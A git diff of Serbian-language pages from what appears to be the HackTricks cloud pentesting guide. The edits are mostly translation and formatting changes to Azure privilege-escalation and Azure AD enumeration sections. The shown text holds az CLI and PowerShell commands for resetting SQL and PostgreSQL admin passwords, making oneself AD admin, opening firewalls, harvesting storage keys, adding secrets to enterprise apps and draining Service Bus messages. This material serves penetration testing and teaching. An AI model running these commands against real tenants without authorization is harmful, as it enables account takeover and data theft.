Azure-u. To uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera. - -{% code overflow="wrap" %} +Sa ovom dozvolom, možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na Azure-u. To uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera. ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - Na primer, ova dozvola omogućava promenu PostgreSQL lozinke, što je korisno, naravno, u slučaju da je PostgreSQL autentifikacija omogućena. - -{% code overflow="wrap" %} ```bash az postgres flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili: - -{% code overflow="wrap" %} ```bash az postgres flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read` -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read" - -Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za PostgreSQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dobija potpuna administrativna kontrola nad PostgreSQL serverom. Ažuriranje postojećeg principala još nije podržano, tako da ako je jedan kreiran, prvo ga morate obrisati. +Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za PostgreSQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad PostgreSQL serverom. Ažuriranje postojećeg principala još nije podržano, tako da ako je jedan kreiran, morate ga prvo obrisati. Važno je da fleksibilni server ima korisnički dodeljene upravljane identitete za korišćenje. - -{% code overflow="wrap" %} ```bash az postgres flexible-server ad-admin create \ --resource-group \ @@ -62,6 +48,4 @@ az postgres flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index b3f8af707..cf4686ce0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -4,7 +4,7 @@ ## Service Bus -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../az-services/az-servicebus-enum.md @@ -83,7 +83,7 @@ print("----------------------------") ``` ### Prijem poruka. Akcija: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` ILI `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action` -Možete preuzeti PrimaryConnectionString, koji služi kao akreditiv za Service Bus namespace. Koristeći ovaj konekcioni string, možete primati poruke iz bilo koje queue ili subscription unutar namespace-a, omogućavajući pristup potencijalno osetljivim ili kritičnim podacima, omogućavajući eksfiltraciju podataka ili ometanje obrade poruka i radnih tokova aplikacija. +Možete preuzeti PrimaryConnectionString, koji služi kao akreditiv za Service Bus namespace. Koristeći ovaj konekcioni string, možete primati poruke iz bilo koje queue ili subscription unutar namespace-a, omogućavajući pristup potencijalno osetljivim ili kritičnim podacima, omogućavajući eksfiltraciju podataka ili ometajući obradu poruka i radne tokove aplikacija. ```python #You need to install the following libraries #pip install azure-servicebus @@ -127,7 +127,7 @@ asyncio.run(receive_and_process_messages()) print("Message Receiving Completed") print("----------------------------") ``` -### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` +### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` Ako imate ove dozvole, možete eskalirati privilegije čitanjem ili kreiranjem zajedničkih pristupnih ključeva. Ovi ključevi omogućavaju potpunu kontrolu nad Service Bus imenom prostora, uključujući upravljanje redovima, temama i slanje/primanje poruka, potencijalno zaobilazeći kontrole pristupa zasnovane na rolama (RBAC). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index f6a144dba..a6b350aec 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -4,15 +4,15 @@ ## SQL Database Privesc -Za više informacija o SQL bazi podataka pogledajte: +Za više informacija o SQL bazi podataka, pogledajte: {{#ref}} ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write" +### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -Sa ovim dozvolama, korisnik može izvršiti eskalaciju privilegija ažuriranjem ili kreiranjem Azure SQL servera i modifikovanjem kritičnih konfiguracija, uključujući administratorske akreditive. Ova dozvola omogućava korisniku da ažurira svojstva servera, uključujući SQL server admin lozinku, omogućavajući neovlašćen pristup ili kontrolu nad serverom. Takođe mogu kreirati nove servere, potencijalno uvodeći senčanu infrastrukturu u zle svrhe. Ovo postaje posebno kritično u okruženjima gde je "Microsoft Entra Authentication Only" onemogućen, jer mogu iskoristiti SQL-baziranu autentifikaciju da dobiju neograničen pristup. +Sa ovim dozvolama, korisnik može izvršiti eskalaciju privilegija ažuriranjem ili kreiranjem Azure SQL servera i modifikovanjem kritičnih konfiguracija, uključujući administratorske akreditive. Ova dozvola omogućava korisniku da ažurira svojstva servera, uključujući SQL server admin lozinku, omogućavajući neovlašćen pristup ili kontrolu nad serverom. Takođe mogu kreirati nove servere, potencijalno uvodeći senčanu infrastrukturu u zle svrhe. Ovo postaje posebno kritično u okruženjima gde je "Microsoft Entra Authentication Only" onemogućeno, jer mogu iskoristiti SQL-baziranu autentifikaciju za sticanje neograničenog pristupa. ```bash # Change the server password az sql server update \ @@ -35,7 +35,7 @@ az sql server update \ --resource-group \ --enable-public-network true ``` -### "Microsoft.Sql/servers/firewallRules/write" +### `Microsoft.Sql/servers/firewallRules/write` Napadač može manipulisati pravilima vatrozida na Azure SQL serverima kako bi omogućio neovlašćen pristup. Ovo se može iskoristiti za otvaranje servera za specifične IP adrese ili čitave IP opsege, uključujući javne IP adrese, omogućavajući pristup zlonamernim akterima. Ova aktivnost nakon eksploatacije može se koristiti za zaobilaženje postojećih mrežnih bezbednosnih kontrola, uspostavljanje postojanosti ili olakšavanje lateralnog kretanja unutar okruženja izlaganjem osetljivih resursa. ```bash @@ -58,7 +58,7 @@ az sql server firewall-rule update \ Dodatno, `Microsoft.Sql/servers/outboundFirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida. NAPOMENA: Potrebno je omogućiti javni pristup. -### ""Microsoft.Sql/servers/ipv6FirewallRules/write" +### `Microsoft.Sql/servers/ipv6FirewallRules/write` Sa ovom dozvolom, možete kreirati, modifikovati ili obrisati IPv6 pravila vatrozida na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da zaobiđe postojeće mrežne bezbednosne konfiguracije i dobije neovlašćen pristup serveru. Dodavanjem pravila koje omogućava saobraćaj sa bilo koje IPv6 adrese, napadač bi mogao otvoriti server za spoljašnji pristup. ```bash @@ -72,7 +72,7 @@ az sql server firewall-rule create \ Dodatno, `Microsoft.Sql/servers/ipv6FirewallRules/delete` dozvola vam omogućava da obrišete pravilo vatrozida. NAPOMENA: Potrebno je omogućiti javni pristup. -### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read" +### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` Sa ovim dozvolama možete privesc u Azure SQL Server okruženju pristupajući SQL bazama podataka i preuzimajući kritične informacije. Koristeći komandu ispod, napadač ili ovlašćeni korisnik može postaviti sebe ili drugi nalog kao Azure AD administratora. Ako je "Microsoft Entra Authentication Only" omogućeno, možete pristupiti serveru i njegovim instancama. Evo komande za postavljanje Azure AD administratora za SQL server: ```bash @@ -82,7 +82,7 @@ az sql server ad-admin create \ --display-name \ --object-id ``` -### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" +### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read` Sa ovim dozvolama, možete konfigurisati i primeniti "Microsoft Entra Authentication Only" na Azure SQL Serveru, što može olakšati eskalaciju privilegija u određenim scenarijima. Napadač ili ovlašćeni korisnik sa ovim dozvolama može omogućiti ili onemogućiti Azure AD-only autentifikaciju. ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index 0a6e1ddd9..ffd81f294 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -4,27 +4,27 @@ ## Storage Privesc -Za više informacija o skladištu pogledajte: +Za više informacija o skladištu, pogledajte: {{#ref}} ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/listkeys/action +### `Microsoft.Storage/storageAccounts/listkeys/action` Principal sa ovom dozvolom će moći da prikaže (i tajne vrednosti) **pristupnih ključeva** skladišnih računa. Omogućavajući principalu da eskalira svoje privilegije nad skladišnim računima. ```bash az storage account keys list --account-name ``` -### Microsoft.Storage/storageAccounts/regenerateKey/action +### `Microsoft.Storage/storageAccounts/regenerateKey/action` -Princip sa ovom dozvolom će moći da obnovi i dobije novu tajnu vrednost **access keys** skladišnih naloga. Omogućavajući principu da eskalira svoje privilegije nad skladišnim nalozima. +Principal sa ovom dozvolom će moći da obnovi i dobije novu tajnu vrednost **access keys** skladišnih naloga. Omogućavajući principalu da eskalira svoje privilegije nad skladišnim nalozima. Pored toga, u odgovoru, korisnik će dobiti vrednost obnovljenog ključa, kao i vrednost neobnovljenog: ```bash az storage account keys renew --account-name --key key2 ``` -### Microsoft.Storage/storageAccounts/write +### `Microsoft.Storage/storageAccounts/write` Princip sa ovom dozvolom će moći da kreira ili ažurira postojeći nalog za skladištenje, ažurirajući bilo koju postavku kao što su pravila mreže ili politike. ```bash @@ -36,12 +36,12 @@ az storage account update --name --add networkRuleSet.ipRules value=< ``` ## Blobs Specifične privesc -### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete +### `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write` | `Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete` Prvo dopuštenje omogućava **modifikaciju politika nepromenljivosti** u kontejnerima, a drugo da ih obrišete. > [!NOTE] -> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete izvršiti nijednu od dve radnje. +> Imajte na umu da ako je politika nepromenljivosti u stanju zaključavanja, ne možete izvršiti nijednu od dve opcije. ```bash az storage container immutability-policy delete \ --account-name \ @@ -56,21 +56,21 @@ az storage container immutability-policy update \ ``` ## File shares specific privesc -### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action +### `Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action` Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da preuzme vlasništvo nad datotekama unutar deljenog fajl sistema. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action` Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da menja dozvole datoteka unutar deljenog fajl sistema. -### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action +### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action` Ovo bi trebalo da omogući korisniku koji ima ovu dozvolu da izvršava akcije unutar fajl sistema kao superkorisnik. -### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) +### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)` -Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskim imenskim prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH parovi ključeva. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke. +Sa ovom dozvolom, napadač može da kreira i ažurira (ako ima `Microsoft.Storage/storageAccounts/localusers/read` dozvolu) novog lokalnog korisnika za Azure Storage nalog (konfigurisano sa hijerarhijskim imenskim prostorom), uključujući određivanje dozvola korisnika i početnog direktorijuma. Ova dozvola je značajna jer omogućava napadaču da sebi dodeli pristup storage nalogu sa specifičnim dozvolama kao što su čitanje (r), pisanje (w), brisanje (d) i listanje (l) i još mnogo toga. Dodatno, metode autentifikacije koje se koriste mogu biti Azure-generisane lozinke i SSH ključevi. Nema provere da li korisnik već postoji, tako da možete prepisati druge korisnike koji su već prisutni. Napadač bi mogao da eskalira svoje privilegije i dobije SSH pristup storage nalogu, potencijalno izlažući ili kompromitujući osetljive podatke. ```bash az storage account local-user create \ --account-name \ @@ -80,9 +80,9 @@ az storage account local-user create \ --home-directory \ --has-ssh-key false/true # Depends on the auth method to use ``` -### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action +### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action` -Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. Ovo bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga. +Sa ovom dozvolom, napadač može regenerisati lozinku za lokalnog korisnika u Azure Storage nalogu. Ovo omogućava napadaču da dobije nove autentifikacione kredencijale (kao što su SSH ili SFTP lozinka) za korisnika. Korišćenjem ovih kredencijala, napadač bi mogao dobiti neovlašćen pristup storage nalogu, izvršiti transfer fajlova ili manipulisati podacima unutar storage kontejnera. To bi moglo rezultirati curenjem podataka, oštećenjem ili zlonamernom izmenom sadržaja storage naloga. ```bash az storage account local-user regenerate-password \ --account-name \ @@ -94,9 +94,9 @@ Da biste pristupili Azure Blob Storage putem SFTP (is_hns_enabled treba da bude sftp .@.blob.core.windows.net #regenerated-password ``` -### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action +### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action` -Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da ponovo aktivira specifične blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa. +Sa ovim dozvolama, napadač može da vrati obrisani kontejner tako što će navesti njegov ID obrisane verzije ili da vrati specifične blobove unutar kontejnera, ako su prethodno bili soft-deleted. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa. ```bash #Restore the soft deleted container az storage container restore \ @@ -110,7 +110,7 @@ az storage blob undelete \ --container-name \ --name "fileName.txt" ``` -### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read +### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read` Sa ovim dozvolama, napadač može da vrati obrisanu Azure datoteku tako što će navesti njen ID obrisane verzije. Ova eskalacija privilegija može omogućiti napadaču da povrati osetljive podatke koji su trebali biti trajno obrisani, što može dovesti do neovlašćenog pristupa. ```bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index ecf144370..ceef51b59 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -6,7 +6,7 @@ Azure Active Directory (Azure AD) služi kao Microsoftova usluga zasnovana na oblaku za upravljanje identitetom i pristupom. Ona je ključna za omogućavanje zaposlenima da se prijave i dobiju pristup resursima, kako unutar tako i van organizacije, uključujući Microsoft 365, Azure portal i brojne druge SaaS aplikacije. Dizajn Azure AD se fokusira na pružanje osnovnih usluga identiteta, posebno uključujući **autentifikaciju, autorizaciju i upravljanje korisnicima**. -Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost identiteta korisnika i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje identitetima korisnika zasnovano na oblaku. +Ključne karakteristike Azure AD uključuju **višefaktorsku autentifikaciju** i **uslovni pristup**, uz besprekornu integraciju sa drugim Microsoftovim bezbednosnim uslugama. Ove karakteristike značajno povećavaju bezbednost korisničkih identiteta i omogućavaju organizacijama da efikasno implementiraju i sprovode svoje politike pristupa. Kao osnovna komponenta Microsoftovog ekosistema usluga u oblaku, Azure AD je ključan za upravljanje korisničkim identitetima zasnovano na oblaku. ## Enumeracija @@ -186,7 +186,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token Kada se **prijavite** putem **CLI** u Azure sa bilo kojim programom, koristite **Azure aplikaciju** iz **tenanta** koji pripada **Microsoftu**. Ove aplikacije, poput onih koje možete kreirati u svom nalogu, **imaju klijent id**. **Nećete moći da vidite sve njih** u **listama dozvoljenih aplikacija** koje možete videti u konzoli, **ali su podrazumevano dozvoljene**. -Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin bi mogao da **blokira tu aplikaciju** kako korisnici ne bi mogli da pristupe koristeći alate koji se povezuju putem te aplikacije. +Na primer, **powershell skripta** koja **autentifikuje** koristi aplikaciju sa klijent id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Čak i ako aplikacija ne pojavljuje u konzoli, sysadmin bi mogao da **blokira tu aplikaciju** kako korisnici ne bi mogli da pristupaju koristeći alate koji se povezuju putem te aplikacije. Međutim, postoje **drugi klijent-ids** aplikacija koje **će vam omogućiti da se povežete na Azure**: ```bash @@ -597,11 +597,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Vlasnik Servisnog Principala može promeniti svoju lozinku. +> Vlasnik Service Principal-a može promeniti svoju lozinku.
-Lista i pokušaj dodavanja klijentske tajne na svaku Preduzetničku Aplikaciju +Lista i pokušaj dodavanja klijentske tajne na svaku Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -716,7 +716,7 @@ Za više informacija o Aplikacijama proverite: Kada se aplikacija generiše, dodeljuju se 2 tipa dozvola: -- **Dozvole** dodeljene **Servisnom Principalu** +- **Dozvole** dodeljene **Servisnom Principal** - **Dozvole** koje **aplikacija** može imati i koristiti **u ime korisnika**. {{#tabs }} @@ -892,16 +892,9 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//members" -# Lista Entra ID uloga dodeljenih korisniku +# List Entra ID roles assigned to a user az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/users//memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Lista Entra ID uloga dodeljenih grupi +# List Entra ID roles assigned to a group az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json -# Lista Entra ID uloga dodeljenih servisnom principalu +# List Entra ID roles assigned to a service principal az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \ --query "value[]" \ --output json ``` - {{#endtab }} {{#tab name="Azure AD" }} - ```bash -# Dobijte sve dostupne šablone uloga +# Get all available role templates Get-AzureADDirectoryroleTemplate -# Dobijte omogućene uloge (Dodeljene uloge) +# Get enabled roles (Assigned roles) Get-AzureADDirectoryRole -Get-AzureADDirectoryRole -ObjectId #Dobijte informacije o ulozi -# Dobijte prilagođene uloge - koristite AzureAdPreview +Get-AzureADDirectoryRole -ObjectId #Get info about the role +# Get custom roles - use AzureAdPreview Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName -# Korisnici dodeljeni ulozi (Globalni administrator) +# Users assigned a role (Global Administrator) Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember Get-AzureADDirectoryRole -ObjectId | fl -# Uloge Administrativne jedinice (ko ima dozvole nad administrativnom jedinicom i njenim članovima) +# Roles of the Administrative Unit (who has permissions over the administrative unit and its members) Get-AzureADMSScopedRoleMembership -Id | fl * ``` - {{#endtab }} {{#endtabs }} -### Devices +### Uređaji {{#tabs }} {{#tab name="az cli" }} - ```bash -# Ako znate kako to da uradite, pošaljite PR! +# If you know how to do this send a PR! ``` - {{#endtab }} {{#tab name="MS Graph" }} - ```bash # Enumerate devices using Microsoft Graph PowerShell Get-MgDevice -All @@ -1025,36 +1010,34 @@ Get-Command -Module Microsoft.Graph.Identity.DirectoryManagement {{#endtab }} {{#tab name="Azure AD" }} - ```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * -# Lista svih aktivnih uređaja (a ne zastarelih uređaja) +# List all the active devices (and not the stale devices) Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null} -# Dobijte vlasnike svih uređaja +# Get owners of all devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Registrovani korisnici svih uređaja +# Registred users of all the devices Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}} -# Dobijte uređaje kojima upravlja Intune +# Get dives managed using Intune Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"} -# Dobijte uređaje u vlasništvu korisnika +# Get devices owned by a user Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com -# Dobijte administrativne jedinice uređaja +# Get Administrative Units of a device Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} } ``` - {{#endtab }} {{#endtabs }} > [!WARNING] -> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\ -> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**. +> Ako je uređaj (VM) **AzureAD povezan**, korisnici iz AzureAD će moći da se **prijave**.\ +> Štaviše, ako je prijavljeni korisnik **Vlasnik** uređaja, on će biti **lokalni administrator**. -### Administrative Units +### Administrativne jedinice -For more information about administrative units check: +Za više informacija o administrativnim jedinicama pogledajte: {{#ref}} ../az-basic-information/ @@ -1062,104 +1045,100 @@ For more information about administrative units check: {{#tabs }} {{#tab name="az cli" }} - ```bash -# Lista svih administrativnih jedinica +# List all administrative units az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits" -# Dobijanje informacija o AU +# Get AU info az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53" -# Dobijanje članova +# Get members az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members" -# Dobijanje principala sa rolama preko AU +# Get principals with roles over the AU az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers" ``` - {{#endtab }} {{#tab name="AzureAD" }} - ```bash -# Dobijanje administrativnih jedinica +# Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id -# Dobijanje ID-a administrativne jedinice po stringu +# Get ID of admin unit by string $adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'" -# Lista korisnika, grupa i uređaja koji su pogođeni administrativnom jedinicom +# List the users, groups, and devices affected by the administrative unit Get-AzureADMSAdministrativeUnitMember -Id -# Dobijanje uloga koje korisnici imaju nad članovima AU -Get-AzureADMSScopedRoleMembership -Id | fl #Dobijanje ID-a uloge i članova uloge +# Get the roles users have over the members of the AU +Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ``` - {{#endtab }} {{#endtabs }} -## Entra ID Privilege Escalation +## Entra ID Eskalacija Privilegija {{#ref}} ../az-privilege-escalation/az-entraid-privesc/ {{#endref}} -## Azure Privilege Escalation +## Azure Eskalacija Privilegija {{#ref}} ../az-privilege-escalation/az-authorization-privesc.md {{#endref}} -## Defensive Mechanisms +## Odbrambeni Mehanizmi -### Privileged Identity Management (PIM) +### Upravljanje Privilegovanim Identitetima (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Upravljanje Privilegovanim Identitetima (PIM) u Azure pomaže da se **spreči dodeljivanje prekomernih privilegija** korisnicima bez potrebe. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +Jedna od glavnih funkcija koju PIM pruža je da omogućava da se ne dodeljuju uloge principima koji su konstantno aktivni, već da ih učini **prikladnim na određeni vremenski period (npr. 6 meseci)**. Tada, kada korisnik želi da aktivira tu ulogu, mora da je zatraži navodeći vreme koje mu je potrebno za privilegiju (npr. 3 sata). Tada **administrator mora da odobri** zahtev.\ +Napomena: korisnik će takođe moći da zatraži da se **produži** vreme. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +Pored toga, **PIM šalje emailove** svaki put kada se privilegovana uloga dodeljuje nekome.
-When PIM is enabled it's possible to configure each role with certain requirements like: +Kada je PIM omogućen, moguće je konfigurisati svaku ulogu sa određenim zahtevima kao što su: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- Maksimalno trajanje (sati) aktivacije +- Zahtevati MFA prilikom aktivacije +- Zahtevati kontekst autentifikacije uslovnog pristupa +- Zahtevati opravdanje prilikom aktivacije +- Zahtevati informacije o tiketu prilikom aktivacije +- Zahtevati odobrenje za aktivaciju +- Maksimalno vreme za isteknuće prikladnih dodela +- Puno više konfiguracije o tome kada i kome slati obaveštenja kada se određene radnje dogode sa tom ulogom -### Conditional Access Policies +### Politike Uslovnog Pristupa -Check: +Proverite: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Entra Identity Protection +### Entra Zaštita Identiteta -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra Zaštita Identiteta je bezbednosna usluga koja omogućava **otkrivanje kada je korisnik ili prijavljivanje previše rizično** da bi bilo prihvaćeno, omogućavajući da se **blokira** korisnik ili pokušaj prijavljivanja. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je rizik "Nizak i iznad", "Srednji i iznad" ili "Visok". Iako je po defaultu potpuno **onemogućena**:
